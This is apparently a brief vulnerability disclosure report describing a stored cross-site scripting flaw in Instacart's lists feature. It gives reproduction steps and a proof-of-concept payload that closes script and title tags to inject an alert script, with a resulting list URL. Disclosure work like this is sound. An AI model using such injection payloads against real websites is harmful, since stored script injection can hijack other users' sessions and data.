Stored XSS

How it was found

First log in account.

We headed to the "lists and recipes" option

https://www.instacart.com/store/demo/lists

create a new list "add list"

Payload "></script></title><script>alert(document.domain)</script>

URL pwned.

https://www.instacart.com/lists/izy0w6Q?preview=true

attached a screenshot